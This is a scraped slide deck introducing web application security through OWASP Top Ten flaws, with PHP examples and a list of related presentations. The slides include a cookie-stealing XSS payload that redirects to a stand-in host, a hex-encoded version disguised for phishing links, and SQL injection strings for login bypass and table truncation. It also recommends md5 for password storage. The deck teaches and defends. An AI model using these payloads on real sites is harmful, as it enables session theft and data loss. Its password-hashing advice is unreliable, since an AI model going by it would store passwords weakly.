Web Application Security An Introduction. OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management.

Slides:



Advertisements
Similar presentations
JQuery MessageBoard. Lets use jQuery and AJAX in combination with a database to update and retrieve information without refreshing the page. Here we will.
Advertisements

Webgoat.
Web Security Never, ever, trust user inputs Supankar.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Don’t get Stung (An introduction to the OWASP Top Ten Project) Barry Dorrans Microsoft Information Security Tools NEW AND IMPROVED!
SEC835 OWASP Top Ten Project.
PHP Hypertext Preprocessor Information Systems 337 Prof. Harry Plantinga.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
COMP 321 Week 12. Overview Web Application Security  Authentication  Authorization  Confidentiality Cross-Site Scripting Lab 12-1 Introduction.
9/9/2005 Developing "Secure" Web Applications 1 Methods & Concepts for Developing “Secure” Web Applications Peter Y. Hammond, Developer Wasatch Front Regional.
Lecture 2 Page 1 CS 236, Spring 2008 Security Principles and Policies CS 236 On-Line MS Program Networks and Systems Security Peter Reiher Spring, 2008.
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Sara SartoliAkbar Siami Namin NSF-SFS workshop July 14-18, 2014.
The 10 Most Critical Web Application Security Vulnerabilities
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
OWASP Zed Attack Proxy Project Lead
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
CSC 2720 Building Web Applications Web Application Security.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Sofia, Bulgaria | 9-10 October Writing Secure Code for ASP.NET Stephen Forte CTO, Corzen Inc Microsoft Regional Director NY/NJ (USA) Stephen Forte CTO,
Accessing MySQL with PHP IDIA 618 Fall 2014 Bridget M. Blodgett.
Feedback #2 (under assignments) Lecture Code:
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
School of Computing and Information Systems CS 371 Web Application Programming Security Avoiding and Preventing Attacks.
NMD202 Web Scripting Week3. What we will cover today Includes Exercises PHP Forms Exercises Server side validation Exercises.
OWASP Top Ten #1 Unvalidated Input. Agenda What is the OWASP Top 10? Where can I find it? What is Unvalidated Input? What environments are effected? How.
Analysis of SQL injection prevention using a filtering proxy server By: David Rowe Supervisor: Barry Irwin.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Security Attacks CS 795. Buffer Overflow Problem Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program.
nd Joint Workshop between Security Research Labs in JAPAN and KOREA Marking Scheme for Semantic- aware Web Application Security HPC.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Crash Course in Web Hacking
Controlling Web Site Access Using Logins CS 320. Basic Approach HTML form a php page that collects the username and password  Sends them to second PHP.
PHP Secure Communications Web Technologies Computing Science Thompson Rivers University.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
OWASP Building Secure Web Applications And the OWASP top 10 vulnerabilities.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflow Analysis of Buffer Overflow Attacks.
Preventing MySQL Injection Sonja Parson COSC 5010 Security Presentation April 26, 2005.
INFO 344 Web Tools And Development CK Wang University of Washington Spring 2014.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
SECURE DEVELOPMENT. SEI CERT TOP 10 SECURE CODING PRACTICES Validate input Use strict compiler settings and resolve warnings Architect and design for.
Web Application Vulnerabilities
An Introduction to Web Application Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
Cross-Site Scripting Travis Deyarmin.
SQL Injection.
CS 371 Web Application Programming
Cross-Site Forgery
Marking Scheme for Semantic-aware Web Application Security
PHP: Security issues FdSc Module 109 Server side scripting and
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
CS5123 Software Validation and Quality Assurance
Lecture 27 Security I April 4, 2018 Open news web sites.
Presentation transcript:

Web Application Security An Introduction

OWASP Top Ten Exploits *Unvalidated Input Broken Access Control Broken Authentication and Session Management *Cross Site Scripting (XSS) Flaws Buffer Overflows *Injection Flaws *Improper Error Handling *Insecure Storage *Denial of Service Insecure Configuration Management ( – You can read up there if you want more information )

Unvalidated Input Information from web requests not validated before being used by a web application Most attacks on web applications are some derivative of this Examples in PHP, but all languages are vulnerable Let’s take a look at vulnerable.phpvulnerable.php

Unvalidated Input vulnerable.php can be broken up into 3 parts Some PHP at the top that inserts messages into the database (w/o validation) A form for the user to add their message Some PHP that displays all the messages that have been added

Unvalidated Input We can insert whatever we want… including HTML DIV that takes up the whole screen: HACKED BY CHINESE

Cross Site Scripting (XSS) Attack another user viewing something on the web app, not the web app itself Another derivative of not validating input Instead of an HTML element, let’s insert a script document.location=' o.com/bar.cgi?' +document.cookie This is called a stored XSS attack

Cross Site Scripting (XSS) We can be stealthier with a reflective XSS attack Let’s look at square.php?num=5square.php?num=5 If num is not an integer, it outputs an error What could be wrong? Error message outputs the input we give with no sanitization!

Cross Site Scripting (XSS) Let’s someone the link with a script as input square.php?num= document.location=' oo.com/bar.cgi?document.cookie' Who would click a link like that? Let’s hex encode the script (%YY = 0xYY) 64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68% 74%74%70%3A%2F%2F%77%77%77%2E%66%6F%6F%2E%63%6F%6D%2F%62%61% 72%2E%63%67%69%3F%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69% 65%27%3C%2F%73%63%72%69%70%74%3E Looks harmless to most people, but exposes their cookies to us. If we read their cookie and then redirect them back to the script, they won’t even know their cookies have been exposed

SQL Injection Same concept- relies on lack of validation Let’s take a look at stafflogin.phpstafflogin.php Take name and pin from querystring and verify against DB SELECT * FROM Staff WHERE Name='${_GET['name']}' AND Pin=${_GET['pin']} stafflogin.php?name=Fred&pin=32854 becomes SELECT * FROM Staff WHERE Name=Fred AND Pin=32854 What if we inject our own SQL code?

SQL Injection stafflogin.php?name=Fred&pin=0 UNION SELECT * FROM Staff LIMIT 1 becomes SELECT * FROM Staff WHERE Name=Fred AND Pin=0 UNION SELECT * FROM Staff LIMIT 1 This will return 1 row as long as we enter in the wrong pin, allowing us access without knowing the pin! Potentially more destructive- could erase entire database if we are given the ability to execute SQL code stafflogin.php?name=Fred&pin=0; TRUNCATE TABLE Staff How do we protect against these attacks?

Sanitization Naïve approach: filter out characters and keywords (and all their encodings) that are considered harmful (such as, UNION, quotes). This is negative filtering What if we miss something? What if the user encodes their input in a clever way? It’s impossible to account for everything Correct approach: use positive filtering, not negative

Positive Filtering Rather than filtering out bad input, filter out anything but good input In message forum, filter out anything but alphanumeric chars plus some punctuation. Encode all punctuation In login script, make sure pin is an integer- everything else throws an error Regular expressions are your friend

Denial of Service Can mean a lot of things, but mainly usurp resources of the server Keep running a page with a CPU intensive SQL query, such as a fulltext search of forum messages Have a script submit a form that causes an to be sent over and over, like a registration page How do we prevent DoS attacks on web apps?

Denial of Service Don’t expose anything resource heavy to the public. Associate it to a user account, and then only let that user account access to the resource on a time delay What if you can’t? (Like an account registration page that sends an ) Only let the same IP access to the resource every X minutes- not always foolproof Add anti-automation checksanti-automation checks

Improper Error Handling Don’t show errors that give away sensitive information- example_error.phpexample_error.php Catch or suppress all error messages and then give your own, minus all sensitive information You can’t be too cautious- you never know what little bits of information will add up to an exploit Service failure (even PHP itself)

Insecure Storage Never store sensitive information in plaintext User passwords in databases Session information in cookies Don’t bother with encryption- use one-way hashes (md5, sh1, etc) In PHP, you can use the crypt() function How can you verify a password a user enters against the hashed version that can’t be reversed?

Insecure Storage PHP’s crypt() function takes 2 args- string and salt. It hashes the string using the salt When the user registers, crypt() their password- no salt When the user tries to login, check if: pass_entered == crypt( pass_entered, pass_stored ) Tutorial here: Crypt-Function/ Crypt-Function/

Don’t trust yourself Always assume your application is insecure at every step of the process Consider input from one component as tainted in another- revalidate every time Give lowest possible privileges to components of your app (ex. the user PHP uses to connect to the SQL server shouldn’t have permission to DROP a table in the database if it doesn’t need it)

Links Application Frameworks / Design Patterns Free PHP5 Book!